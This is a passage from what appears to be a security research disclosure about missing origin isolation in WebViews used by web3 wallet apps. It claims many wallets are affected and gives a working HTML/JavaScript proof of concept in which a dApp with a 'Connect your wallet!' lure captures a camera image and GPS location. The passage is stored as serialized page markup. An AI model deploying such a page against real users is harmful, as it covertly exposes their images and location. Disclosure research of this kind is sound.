serious oversight arises.",{"type":24,"tag":151,"props":159329,"children":159331},{"id":159330},"real-world-exploitation",[159332],{"type":30,"value":159333},"Real world exploitation",{"type":24,"tag":33,"props":159335,"children":159336},{},[159337],{"type":30,"value":159338},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":24,"tag":33,"props":159340,"children":159341},{},[159342],{"type":30,"value":159343},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":24,"tag":33,"props":159345,"children":159346},{},[159347,159349,159356],{"type":30,"value":159348},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":24,"tag":37,"props":159350,"children":159353},{"href":159351,"rel":159352},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[41],[159354],{"type":30,"value":159355},"Justson",{"type":30,"value":159357},", used by a popular wallet in the Stellar ecosystem.",{"type":24,"tag":21995,"props":159359,"children":159360},{"id":42592},[159361],{"type":30,"value":37918},{"type":24,"tag":33,"props":159363,"children":159364},{},[159365],{"type":30,"value":159366},"In order to exploit this issue, we assume the following preconditions:",{"type":24,"tag":478,"props":159368,"children":159369},{},[159370,159375,159380],{"type":24,"tag":100,"props":159371,"children":159372},{},[159373],{"type":30,"value":159374},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":24,"tag":100,"props":159376,"children":159377},{},[159378],{"type":30,"value":159379},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":24,"tag":100,"props":159381,"children":159382},{},[159383],{"type":30,"value":159384},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":24,"tag":920,"props":159386,"children":159388},{"className":53111,"code":159387,"language":35471,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[159389],{"type":24,"tag":156,"props":159390,"children":159391},{"__ignoreMap":7},[159392,159412,159427,159443,159473,159496,159511,159526,159558,159604,159640,159668,159683,159729,159775,159783,159851,159879,159894,159902,159909,159929,159989,160030,160059,160100,160107,160136,160174,160211,160218,160225,160258,160279,160286,160348,160404,160440,160486,160494,160501,160544,160577,160702,160735,160742,160749,160756,160768,160783,160798],{"type":24,"tag":930,"props":159393,"children":159394},{"class":932,"line":933},[159395,159399,159403,159408],{"type":24,"tag":930,"props":159396,"children":159397},{"style":35464},[159398],{"type":30,"value":37314},{"type":24,"tag":930,"props":159400,"children":159401},{"style":937},[159402],{"type":30,"value":37319},{"type":24,"tag":930,"props":159404,"children":159405},{"style":1023},[159406],{"type":30,"value":159407}," html",{"type":24,"tag":930,"props":159409,"children":159410},{"style":35464},[159411],{"type":30,"value":9105},{"type":24,"tag":930,"props":159413,"children":159414},{"class":932,"line":984},[159415,159419,159423],{"type":24,"tag":930,"props":159416,"children":159417},{"style":35464},[159418],{"type":30,"value":1350},{"type":24,"tag":930,"props":159420,"children":159421},{"style":937},[159422],{"type":30,"value":35471},{"type":24,"tag":930,"props":159424,"children":159425},{"style":35464},[159426],{"type":30,"value":9105},{"type":24,"tag":930,"props":159428,"children":159429},{"class":932,"line":993},[159430,159434,159439],{"type":24,"tag":930,"props":159431,"children":159432},{"style":35464},[159433],{"type":30,"value":1350},{"type":24,"tag":930,"props":159435,"children":159436},{"style":937},[159437],{"type":30,"value":159438},"head",{"type":24,"tag":930,"props":159440,"children":159441},{"style":35464},[159442],{"type":30,"value":9105},{"type":24,"tag":930,"props":159444,"children":159445},{"class":932,"line":1057},[159446,159450,159455,159460,159464,159469],{"type":24,"tag":930,"props":159447,"children":159448},{"style":35464},[159449],{"type":30,"value":35534},{"type":24,"tag":930,"props":159451,"children":159452},{"style":937},[159453],{"type":30,"value":159454},"meta",{"type":24,"tag":930,"props":159456,"children":159457},{"style":1023},[159458],{"type":30,"value":159459}," charset",{"type":24,"tag":930,"props":159461,"children":159462},{"style":959},[159463],{"type":30,"value":1161},{"type":24,"tag":930,"props":159465,"children":159466},{"style":1270},[159467],{"type":30,"value":159468},"\"utf-8\"",{"type":24,"tag":930,"props":159470,"children":159471},{"style":35464},[159472],{"type":30,"value":9105},{"type":24,"tag":930,"props":159474,"children":159475},{"class":932,"line":1066},[159476,159480,159484,159488,159492],{"type":24,"tag":930,"props":159477,"children":159478},{"style":35464},[159479],{"type":30,"value":35534},{"type":24,"tag":930,"props":159481,"children":159482},{"style":937},[159483],{"type":30,"value":37392},{"type":24,"tag":930,"props":159485,"children":159486},{"style":35464},[159487],{"type":30,"value":53155},{"type":24,"tag":930,"props":159489,"children":159490},{"style":937},[159491],{"type":30,"value":37392},{"type":24,"tag":930,"props":159493,"children":159494},{"style":35464},[159495],{"type":30,"value":9105},{"type":24,"tag":930,"props":159497,"children":159498},{"class":932,"line":1075},[159499,159503,159507],{"type":24,"tag":930,"props":159500,"children":159501},{"style":35464},[159502],{"type":30,"value":35518},{"type":24,"tag":930,"props":159504,"children":159505},{"style":937},[159506],{"type":30,"value":159438},{"type":24,"tag":930,"props":159508,"children":159509},{"style":35464},[159510],{"type":30,"value":9105},{"type":24,"tag":930,"props":159512,"children":159513},{"class":932,"line":1122},[159514,159518,159522],{"type":24,"tag":930,"props":159515,"children":159516},{"style":35464},[159517],{"type":30,"value":1350},{"type":24,"tag":930,"props":159519,"children":159520},{"style":937},[159521],{"type":30,"value":35488},{"type":24,"tag":930,"props":159523,"children":159524},{"style":35464},[159525],{"type":30,"value":9105},{"type":24,"tag":930,"props":159527,"children":159528},{"class":932,"line":1131},[159529,159533,159537,159541,159546,159550,159554],{"type":24,"tag":930,"props":159530,"children":159531},{"style":35464},[159532],{"type":30,"value":35534},{"type":24,"tag":930,"props":159534,"children":159535},{"style":937},[159536],{"type":30,"value":68},{"type":24,"tag":930,"props":159538,"children":159539},{"style":35464},[159540],{"type":30,"value":2261},{"type":24,"tag":930,"props":159542,"children":159543},{"style":959},[159544],{"type":30,"value":159545},"Smile dApp :)",{"type":24,"tag":930,"props":159547,"children":159548},{"style":35464},[159549],{"type":30,"value":35518},{"type":24,"tag":930,"props":159551,"children":159552},{"style":937},[159553],{"type":30,"value":68},{"type":24,"tag":930,"props":159555,"children":159556},{"style":35464},[159557],{"type":30,"value":9105},{"type":24,"tag":930,"props":159559,"children":159560},{"class":932,"line":1144},[159561,159565,159570,159574,159578,159583,159587,159592,159596,159600],{"type":24,"tag":930,"props":159562,"children":159563},{"style":35464},[159564],{"type":30,"value":35534},{"type":24,"tag":930,"props":159566,"children":159567},{"style":937},[159568],{"type":30,"value":159569},"button",{"type":24,"tag":930,"props":159571,"children":159572},{"style":1023},[159573],{"type":30,"value":35544},{"type":24,"tag":930,"props":159575,"children":159576},{"style":959},[159577],{"type":30,"value":1161},{"type":24,"tag":930,"props":159579,"children":159580},{"style":1270},[159581],{"type":30,"value":159582},"\"connect\"",{"type":24,"tag":930,"props":159584,"children":159585},{"style":35464},[159586],{"type":30,"value":2261},{"type":24,"tag":930,"props":159588,"children":159589},{"style":959},[159590],{"type":30,"value":159591},"Connect your wallet!",{"type":24,"tag":930,"props":159593,"children":159594},{"style":35464},[159595],{"type":30,"value":35518},{"type":24,"tag":930,"props":159597,"children":159598},{"style":937},[159599],{"type":30,"value":159569},{"type":24,"tag":930,"props":159601,"children":159602},{"style":35464},[159603],{"type":30,"value":9105},{"type":24,"tag":930,"props":159605,"children":159606},{"class":932,"line":1169},[159607,159611,159615,159619,159623,159628,159632,159636],{"type":24,"tag":930,"props":159608,"children":159609},{"style":35464},[159610],{"type":30,"value":35534},{"type":24,"tag":930,"props":159612,"children":159613},{"style":937},[159614],{"type":30,"value":920},{"type":24,"tag":930,"props":159616,"children":159617},{"style":1023},[159618],{"type":30,"value":35544},{"type":24,"tag":930,"props":159620,"children":159621},{"style":959},[159622],{"type":30,"value":1161},{"type":24,"tag":930,"props":159624,"children":159625},{"style":1270},[159626],{"type":30,"value":159627},"\"gps\"",{"type":24,"tag":930,"props":159629,"children":159630},{"style":35464},[159631],{"type":30,"value":53155},{"type":24,"tag":930,"props":159633,"children":159634},{"style":937},[159635],{"type":30,"value":920},{"type":24,"tag":930,"props":159637,"children":159638},{"style":35464},[159639],{"type":30,"value":9105},{"type":24,"tag":930,"props":159641,"children":159642},{"class":932,"line":1191},[159643,159647,159651,159655,159659,159664],{"type":24,"tag":930,"props":159644,"children":159645},{"style":35464},[159646],{"type":30,"value":35534},{"type":24,"tag":930,"props":159648,"children":159649},{"style":937},[159650],{"type":30,"value":140},{"type":24,"tag":930,"props":159652,"children":159653},{"style":1023},[159654],{"type":30,"value":35544},{"type":24,"tag":930,"props":159656,"children":159657},{"style":959},[159658],{"type":30,"value":1161},{"type":24,"tag":930,"props":159660,"children":159661},{"style":1270},[159662],{"type":30,"value":159663},"\"pic\"",{"type":24,"tag":930,"props":159665,"children":159666},{"style":35464},[159667],{"type":30,"value":9105},{"type":24,"tag":930,"props":159669,"children":159670},{"class":932,"line":1223},[159671,159675,159679],{"type":24,"tag":930,"props":159672,"children":159673},{"style":35464},[159674],{"type":30,"value":35534},{"type":24,"tag":930,"props":159676,"children":159677},{"style":937},[159678],{"type":30,"value":35504},{"type":24,"tag":930,"props":159680,"children":159681},{"style":35464},[159682],{"type":30,"value":9105},{"type":24,"tag":930,"props":159684,"children":159685},{"class":932,"line":1281},[159686,159691,159695,159700,159704,159709,159713,159717,159721,159725],{"type":24,"tag":930,"props":159687,"children":159688},{"style":1023},[159689],{"type":30,"value":159690},"        window",{"type":24,"tag":930,"props":159692,"children":159693},{"style":1158},[159694],{"type":30,"value":436},{"type":24,"tag":930,"props":159696,"children":159697},{"style":1002},[159698],{"type":30,"value":159699},"addEventListener",{"type":24,"tag":930,"props":159701,"children":159702},{"style":1158},[159703],{"type":30,"value":1010},{"type":24,"tag":930,"props":159705,"children":159706},{"style":1270},[159707],{"type":30,"value":159708},"'unhandledrejection'",{"type":24,"tag":930,"props":159710,"children":159711},{"style":1158},[159712],{"type":30,"value":962},{"type":24,"tag":930,"props":159714,"children":159715},{"style":937},[159716],{"type":30,"value":34469},{"type":24,"tag":930,"props":159718,"children":159719},{"style":1158},[159720],{"type":30,"value":1087},{"type":24,"tag":930,"props":159722,"children":159723},{"style":1023},[159724],{"type":30,"value":85199},{"type":24,"tag":930,"props":159726,"children":159727},{"style":1158},[159728],{"type":30,"value":1503},{"type":24,"tag":930,"props":159730,"children":159731},{"class":932,"line":1313},[159732,159737,159741,159746,159750,159754,159758,159763,159767,159771],{"type":24,"tag":930,"props":159733,"children":159734},{"style":1002},[159735],{"type":30,"value":159736},"            alert",{"type":24,"tag":930,"props":159738,"children":159739},{"style":1158},[159740],{"type":30,"value":1010},{"type":24,"tag":930,"props":159742,"children":159743},{"style":1270},[159744],{"type":30,"value":159745},"`Unhandled Promise Rejection: ",{"type":24,"tag":930,"props":159747,"children":159748},{"style":937},[159749],{"type":30,"value":37197},{"type":24,"tag":930,"props":159751,"children":159752},{"style":1023},[159753],{"type":30,"value":85199},{"type":24,"tag":930,"props":159755,"children":159756},{"style":1158},[159757],{"type":30,"value":436},{"type":24,"tag":930,"props":159759,"children":159760},{"style":1023},[159761],{"type":30,"value":159762},"reason",{"type":24,"tag":930,"props":159764,"children":159765},{"style":937},[159766],{"type":30,"value":37229},{"type":24,"tag":930,"props":159768,"children":159769},{"style":1270},[159770],{"type":30,"value":13489},{"type":24,"tag":930,"props":159772,"children":159773},{"style":1158},[159774],{"type":30,"value":1278},{"type":24,"tag":930,"props":159776,"children":159777},{"class":932,"line":1335},[159778],{"type":24,"tag":930,"props":159779,"children":159780},{"style":1158},[159781],{"type":30,"value":159782},"        });\n",{"type":24,"tag":930,"props":159784,"children":159785},{"class":932,"line":1376},[159786,159790,159794,159798,159802,159806,159810,159814,159818,159822,159826,159830,159834,159839,159843,159847],{"type":24,"tag":930,"props":159787,"children":159788},{"style":1023},[159789],{"type":30,"value":159690},{"type":24,"tag":930,"props":159791,"children":159792},{"style":1158},[159793],{"type":30,"value":436},{"type":24,"tag":930,"props":159795,"children":159796},{"style":1002},[159797],{"type":30,"value":35776},{"type":24,"tag":930,"props":159799,"children":159800},{"style":1158},[159801],{"type":30,"value":35999},{"type":24,"tag":930,"props":159803,"children":159804},{"style":937},[159805],{"type":30,"value":34469},{"type":24,"tag":930,"props":159807,"children":159808},{"style":1158},[159809],{"type":30,"value":1087},{"type":24,"tag":930,"props":159811,"children":159812},{"style":1023},[159813],{"type":30,"value":61035},{"type":24,"tag":930,"props":159815,"children":159816},{"style":1158},[159817],{"type":30,"value":962},{"type":24,"tag":930,"props":159819,"children":159820},{"style":1023},[159821],{"type":30,"value":73462},{"type":24,"tag":930,"props":159823,"children":159824},{"style":1158},[159825],{"type":30,"value":962},{"type":24,"tag":930,"props":159827,"children":159828},{"style":1023},[159829],{"type":30,"value":932},{"type":24,"tag":930,"props":159831,"children":159832},{"style":1158},[159833],{"type":30,"value":962},{"type":24,"tag":930,"props":159835,"children":159836},{"style":1023},[159837],{"type":30,"value":159838},"col",{"type":24,"tag":930,"props":159840,"children":159841},{"style":1158},[159842],{"type":30,"value":962},{"type":24,"tag":930,"props":159844,"children":159845},{"style":1023},[159846],{"type":30,"value":17967},{"type":24,"tag":930,"props":159848,"children":159849},{"style":1158},[159850],{"type":30,"value":1503},{"type":24,"tag":930,"props":159852,"children":159853},{"class":932,"line":1418},[159854,159858,159862,159867,159871,159875],{"type":24,"tag":930,"props":159855,"children":159856},{"style":1002},[159857],{"type":30,"value":159736},{"type":24,"tag":930,"props":159859,"children":159860},{"style":1158},[159861],{"type":30,"value":1010},{"type":24,"tag":930,"props":159863,"children":159864},{"style":1270},[159865],{"type":30,"value":159866},"'onerror: '",{"type":24,"tag":930,"props":159868,"children":159869},{"style":1158},[159870],{"type":30,"value":37785},{"type":24,"tag":930,"props":159872,"children":159873},{"style":1023},[159874],{"type":30,"value":61035},{"type":24,"tag":930,"props":159876,"children":159877},{"style":1158},[159878],{"type":30,"value":1278},{"type":24,"tag":930,"props":159880,"children":159881},{"class":932,"line":1438},[159882,159886,159890],{"type":24,"tag":930,"props":159883,"children":159884},{"style":1079},[159885],{"type":30,"value":4279},{"type":24,"tag":930,"props":159887,"children":159888},{"style":937},[159889],{"type":30,"value":12167},{"type":24,"tag":930,"props":159891,"children":159892},{"style":1158},[159893],{"type":30,"value":5539},{"type":24,"tag":930,"props":159895,"children":159896},{"class":932,"line":1479},[159897],{"type":24,"tag":930,"props":159898,"children":159899},{"style":1158},[159900],{"type":30,"value":159901},"        };\n",{"type":24,"tag":930,"props":159903,"children":159904},{"class":932,"line":1506},[159905],{"type":24,"tag":930,"props":159906,"children":159907},{"emptyLinePlaceholder":16},[159908],{"type":30,"value":2412},{"type":24,"tag":930,"props":159910,"children":159911},{"class":932,"line":1525},[159912,159917,159921,159925],{"type":24,"tag":930,"props":159913,"children":159914},{"style":937},[159915],{"type":30,"value":159916},"        async",{"type":24,"tag":930,"props":159918,"children":159919},{"style":937},[159920],{"type":30,"value":41302},{"type":24,"tag":930,"props":159922,"children":159923},{"style":1002},[159924],{"type":30,"value":93845},{"type":24,"tag":930,"props":159926,"children":159927},{"style":1158},[159928],{"type":30,"value":18839},{"type":24,"tag":930,"props":159930,"children":159931},{"class":932,"line":1569},[159932,159936,159941,159945,159949,159954,159958,159963,159967,159972,159976,159981,159985],{"type":24,"tag":930,"props":159933,"children":159934},{"style":937},[159935],{"type":30,"value":153462},{"type":24,"tag":930,"props":159937,"children":159938},{"style":1023},[159939],{"type":30,"value":159940}," stream",{"type":24,"tag":930,"props":159942,"children":159943},{"style":1158},[159944],{"type":30,"value":35999},{"type":24,"tag":930,"props":159946,"children":159947},{"style":1079},[159948],{"type":30,"value":36004},{"type":24,"tag":930,"props":159950,"children":159951},{"style":1023},[159952],{"type":30,"value":159953}," navigator",{"type":24,"tag":930,"props":159955,"children":159956},{"style":1158},[159957],{"type":30,"value":436},{"type":24,"tag":930,"props":159959,"children":159960},{"style":1023},[159961],{"type":30,"value":159962},"mediaDevices",{"type":24,"tag":930,"props":159964,"children":159965},{"style":1158},[159966],{"type":30,"value":436},{"type":24,"tag":930,"props":159968,"children":159969},{"style":1002},[159970],{"type":30,"value":159971},"getUserMedia",{"type":24,"tag":930,"props":159973,"children":159974},{"style":1158},[159975],{"type":30,"value":34590},{"type":24,"tag":930,"props":159977,"children":159978},{"style":1023},[159979],{"type":30,"value":159980},"video:",{"type":24,"tag":930,"props":159982,"children":159983},{"style":937},[159984],{"type":30,"value":15576},{"type":24,"tag":930,"props":159986,"children":159987},{"style":1158},[159988],{"type":30,"value":41922},{"type":24,"tag":930,"props":159990,"children":159991},{"class":932,"line":1592},[159992,159996,160001,160005,160009,160013,160017,160021,160026],{"type":24,"tag":930,"props":159993,"children":159994},{"style":937},[159995],{"type":30,"value":153462},{"type":24,"tag":930,"props":159997,"children":159998},{"style":1023},[159999],{"type":30,"value":160000}," video",{"type":24,"tag":930,"props":160002,"children":160003},{"style":1158},[160004],{"type":30,"value":35999},{"type":24,"tag":930,"props":160006,"children":160007},{"style":1023},[160008],{"type":30,"value":35795},{"type":24,"tag":930,"props":160010,"children":160011},{"style":1158},[160012],{"type":30,"value":436},{"type":24,"tag":930,"props":160014,"children":160015},{"style":1002},[160016],{"type":30,"value":39809},{"type":24,"tag":930,"props":160018,"children":160019},{"style":1158},[160020],{"type":30,"value":1010},{"type":24,"tag":930,"props":160022,"children":160023},{"style":1270},[160024],{"type":30,"value":160025},"\"video\"",{"type":24,"tag":930,"props":160027,"children":160028},{"style":1158},[160029],{"type":30,"value":1278},{"type":24,"tag":930,"props":160031,"children":160032},{"class":932,"line":1610},[160033,160038,160042,160047,160051,160055],{"type":24,"tag":930,"props":160034,"children":160035},{"style":1023},[160036],{"type":30,"value":160037},"            video",{"type":24,"tag":930,"props":160039,"children":160040},{"style":1158},[160041],{"type":30,"value":436},{"type":24,"tag":930,"props":160043,"children":160044},{"style":1023},[160045],{"type":30,"value":160046},"srcObject",{"type":24,"tag":930,"props":160048,"children":160049},{"style":1158},[160050],{"type":30,"value":35999},{"type":24,"tag":930,"props":160052,"children":160053},{"style":1023},[160054],{"type":30,"value":39349},{"type":24,"tag":930,"props":160056,"children":160057},{"style":1158},[160058],{"type":30,"value":5539},{"type":24,"tag":930,"props":160060,"children":160061},{"class":932,"line":1628},[160062,160066,160071,160075,160079,160083,160087,160091,160096],{"type":24,"tag":930,"props":160063,"children":160064},{"style":937},[160065],{"type":30,"value":153462},{"type":24,"tag":930,"props":160067,"children":160068},{"style":1023},[160069],{"type":30,"value":160070}," canvas",{"type":24,"tag":930,"props":160072,"children":160073},{"style":1158},[160074],{"type":30,"value":35999},{"type":24,"tag":930,"props":160076,"children":160077},{"style":1023},[160078],{"type":30,"value":35795},{"type":24,"tag":930,"props":160080,"children":160081},{"style":1158},[160082],{"type":30,"value":436},{"type":24,"tag":930,"props":160084,"children":160085},{"style":1002},[160086],{"type":30,"value":39809},{"type":24,"tag":930,"props":160088,"children":160089},{"style":1158},[160090],{"type":30,"value":1010},{"type":24,"tag":930,"props":160092,"children":160093},{"style":1270},[160094],{"type":30,"value":160095},"\"canvas\"",{"type":24,"tag":930,"props":160097,"children":160098},{"style":1158},[160099],{"type":30,"value":1278},{"type":24,"tag":930,"props":160101,"children":160102},{"class":932,"line":1637},[160103],{"type":24,"tag":930,"props":160104,"children":160105},{"emptyLinePlaceholder":16},[160106],{"type":30,"value":2412},{"type":24,"tag":930,"props":160108,"children":160109},{"class":932,"line":1646},[160110,160114,160118,160123,160128,160132],{"type":24,"tag":930,"props":160111,"children":160112},{"style":1023},[160113],{"type":30,"value":160037},{"type":24,"tag":930,"props":160115,"children":160116},{"style":1158},[160117],{"type":30,"value":436},{"type":24,"tag":930,"props":160119,"children":160120},{"style":1002},[160121],{"type":30,"value":160122},"onloadedmetadata",{"type":24,"tag":930,"props":160124,"children":160125},{"style":1158},[160126],{"type":30,"value":160127}," = () ",{"type":24,"tag":930,"props":160129,"children":160130},{"style":937},[160131],{"type":30,"value":17925},{"type":24,"tag":930,"props":160133,"children":160134},{"style":1158},[160135],{"type":30,"value":981},{"type":24,"tag":930,"props":160137,"children":160138},{"class":932,"line":1673},[160139,160144,160148,160153,160157,160161,160165,160170],{"type":24,"tag":930,"props":160140,"children":160141},{"style":1023},[160142],{"type":30,"value":160143},"                canvas",{"type":24,"tag":930,"props":160145,"children":160146},{"style":1158},[160147],{"type":30,"value":436},{"type":24,"tag":930,"props":160149,"children":160150},{"style":1023},[160151],{"type":30,"value":160152},"width",{"type":24,"tag":930,"props":160154,"children":160155},{"style":1158},[160156],{"type":30,"value":35999},{"type":24,"tag":930,"props":160158,"children":160159},{"style":1023},[160160],{"type":30,"value":134286},{"type":24,"tag":930,"props":160162,"children":160163},{"style":1158},[160164],{"type":30,"value":436},{"type":24,"tag":930,"props":160166,"children":160167},{"style":1023},[160168],{"type":30,"value":160169},"videoWidth",{"type":24,"tag":930,"props":160171,"children":160172},{"style":1158},[160173],{"type":30,"value":5539},{"type":24,"tag":930,"props":160175,"children":160176},{"class":932,"line":1692},[160177,160181,160185,160190,160194,160198,160202,160207],{"type":24,"tag":930,"props":160178,"children":160179},{"style":1023},[160180],{"type":30,"value":160143},{"type":24,"tag":930,"props":160182,"children":160183},{"style":1158},[160184],{"type":30,"value":436},{"type":24,"tag":930,"props":160186,"children":160187},{"style":1023},[160188],{"type":30,"value":160189},"height",{"type":24,"tag":930,"props":160191,"children":160192},{"style":1158},[160193],{"type":30,"value":35999},{"type":24,"tag":930,"props":160195,"children":160196},{"style":1023},[160197],{"type":30,"value":134286},{"type":24,"tag":930,"props":160199,"children":160200},{"style":1158},[160201],{"type":30,"value":436},{"type":24,"tag":930,"props":160203,"children":160204},{"style":1023},[160205],{"type":30,"value":160206},"videoHeight",{"type":24,"tag":930,"props":160208,"children":160209},{"style":1158},[160210],{"type":30,"value":5539},{"type":24,"tag":930,"props":160212,"children":160213},{"class":932,"line":1730},[160214],{"type":24,"tag":930,"props":160215,"children":160216},{"style":1158},[160217],{"type":30,"value":51164},{"type":24,"tag":930,"props":160219,"children":160220},{"class":932,"line":1762},[160221],{"type":24,"tag":930,"props":160222,"children":160223},{"emptyLinePlaceholder":16},[160224],{"type":30,"value":2412},{"type":24,"tag":930,"props":160226,"children":160227},{"class":932,"line":1775},[160228,160233,160237,160242,160246,160250,160254],{"type":24,"tag":930,"props":160229,"children":160230},{"style":1023},[160231],{"type":30,"value":160232},"            connect",{"type":24,"tag":930,"props":160234,"children":160235},{"style":1158},[160236],{"type":30,"value":436},{"type":24,"tag":930,"props":160238,"children":160239},{"style":1002},[160240],{"type":30,"value":160241},"onclick",{"type":24,"tag":930,"props":160243,"children":160244},{"style":1158},[160245],{"type":30,"value":35999},{"type":24,"tag":930,"props":160247,"children":160248},{"style":1023},[160249],{"type":30,"value":54543},{"type":24,"tag":930,"props":160251,"children":160252},{"style":937},[160253],{"type":30,"value":30845},{"type":24,"tag":930,"props":160255,"children":160256},{"style":1158},[160257],{"type":30,"value":981},{"type":24,"tag":930,"props":160259,"children":160260},{"class":932,"line":1825},[160261,160266,160270,160275],{"type":24,"tag":930,"props":160262,"children":160263},{"style":1023},[160264],{"type":30,"value":160265},"                video",{"type":24,"tag":930,"props":160267,"children":160268},{"style":1158},[160269],{"type":30,"value":436},{"type":24,"tag":930,"props":160271,"children":160272},{"style":1002},[160273],{"type":30,"value":160274},"play",{"type":24,"tag":930,"props":160276,"children":160277},{"style":1158},[160278],{"type":30,"value":1310},{"type":24,"tag":930,"props":160280,"children":160281},{"class":932,"line":1834},[160282],{"type":24,"tag":930,"props":160283,"children":160284},{"emptyLinePlaceholder":16},[160285],{"type":30,"value":2412},{"type":24,"tag":930,"props":160287,"children":160288},{"class":932,"line":1843},[160289,160293,160297,160302,160306,160311,160315,160320,160324,160328,160332,160336,160340,160344],{"type":24,"tag":930,"props":160290,"children":160291},{"style":1023},[160292],{"type":30,"value":160143},{"type":24,"tag":930,"props":160294,"children":160295},{"style":1158},[160296],{"type":30,"value":436},{"type":24,"tag":930,"props":160298,"children":160299},{"style":1002},[160300],{"type":30,"value":160301},"getContext",{"type":24,"tag":930,"props":160303,"children":160304},{"style":1158},[160305],{"type":30,"value":1010},{"type":24,"tag":930,"props":160307,"children":160308},{"style":1270},[160309],{"type":30,"value":160310},"\"2d\"",{"type":24,"tag":930,"props":160312,"children":160313},{"style":1158},[160314],{"type":30,"value":2716},{"type":24,"tag":930,"props":160316,"children":160317},{"style":1002},[160318],{"type":30,"value":160319},"drawImage",{"type":24,"tag":930,"props":160321,"children":160322},{"style":1158},[160323],{"type":30,"value":1010},{"type":24,"tag":930,"props":160325,"children":160326},{"style":1023},[160327],{"type":30,"value":134286},{"type":24,"tag":930,"props":160329,"children":160330},{"style":1158},[160331],{"type":30,"value":962},{"type":24,"tag":930,"props":160333,"children":160334},{"style":1242},[160335],{"type":30,"value":1818},{"type":24,"tag":930,"props":160337,"children":160338},{"style":1158},[160339],{"type":30,"value":962},{"type":24,"tag":930,"props":160341,"children":160342},{"style":1242},[160343],{"type":30,"value":1818},{"type":24,"tag":930,"props":160345,"children":160346},{"style":1158},[160347],{"type":30,"value":1278},{"type":24,"tag":930,"props":160349,"children":160350},{"class":932,"line":1851},[160351,160356,160360,160365,160369,160374,160378,160382,160386,160391,160395,160400],{"type":24,"tag":930,"props":160352,"children":160353},{"style":1023},[160354],{"type":30,"value":160355},"                stream",{"type":24,"tag":930,"props":160357,"children":160358},{"style":1158},[160359],{"type":30,"value":436},{"type":24,"tag":930,"props":160361,"children":160362},{"style":1002},[160363],{"type":30,"value":160364},"getTracks",{"type":24,"tag":930,"props":160366,"children":160367},{"style":1158},[160368],{"type":30,"value":33259},{"type":24,"tag":930,"props":160370,"children":160371},{"style":1002},[160372],{"type":30,"value":160373},"forEach",{"type":24,"tag":930,"props":160375,"children":160376},{"style":1158},[160377],{"type":30,"value":1010},{"type":24,"tag":930,"props":160379,"children":160380},{"style":1023},[160381],{"type":30,"value":24831},{"type":24,"tag":930,"props":160383,"children":160384},{"style":937},[160385],{"type":30,"value":30845},{"type":24,"tag":930,"props":160387,"children":160388},{"style":1023},[160389],{"type":30,"value":160390}," t",{"type":24,"tag":930,"props":160392,"children":160393},{"style":1158},[160394],{"type":30,"value":436},{"type":24,"tag":930,"props":160396,"children":160397},{"style":1002},[160398],{"type":30,"value":160399},"stop",{"type":24,"tag":930,"props":160401,"children":160402},{"style":1158},[160403],{"type":30,"value":18528},{"type":24,"tag":930,"props":160405,"children":160406},{"class":932,"line":1919},[160407,160411,160415,160420,160424,160428,160432,160436],{"type":24,"tag":930,"props":160408,"children":160409},{"style":1023},[160410],{"type":30,"value":160143},{"type":24,"tag":930,"props":160412,"children":160413},{"style":1158},[160414],{"type":30,"value":436},{"type":24,"tag":930,"props":160416,"children":160417},{"style":1002},[160418],{"type":30,"value":160419},"toBlob",{"type":24,"tag":930,"props":160421,"children":160422},{"style":1158},[160423],{"type":30,"value":34615},{"type":24,"tag":930,"props":160425,"children":160426},{"style":1023},[160427],{"type":30,"value":36036},{"type":24,"tag":930,"props":160429,"children":160430},{"style":1158},[160431],{"type":30,"value":5579},{"type":24,"tag":930,"props":160433,"children":160434},{"style":937},[160435],{"type":30,"value":17925},{"type":24,"tag":930,"props":160437,"children":160438},{"style":1158},[160439],{"type":30,"value":981},{"type":24,"tag":930,"props":160441,"children":160442},{"class":932,"line":1927},[160443,160448,160452,160456,160460,160465,160469,160474,160478,160482],{"type":24,"tag":930,"props":160444,"children":160445},{"style":1023},[160446],{"type":30,"value":160447},"                    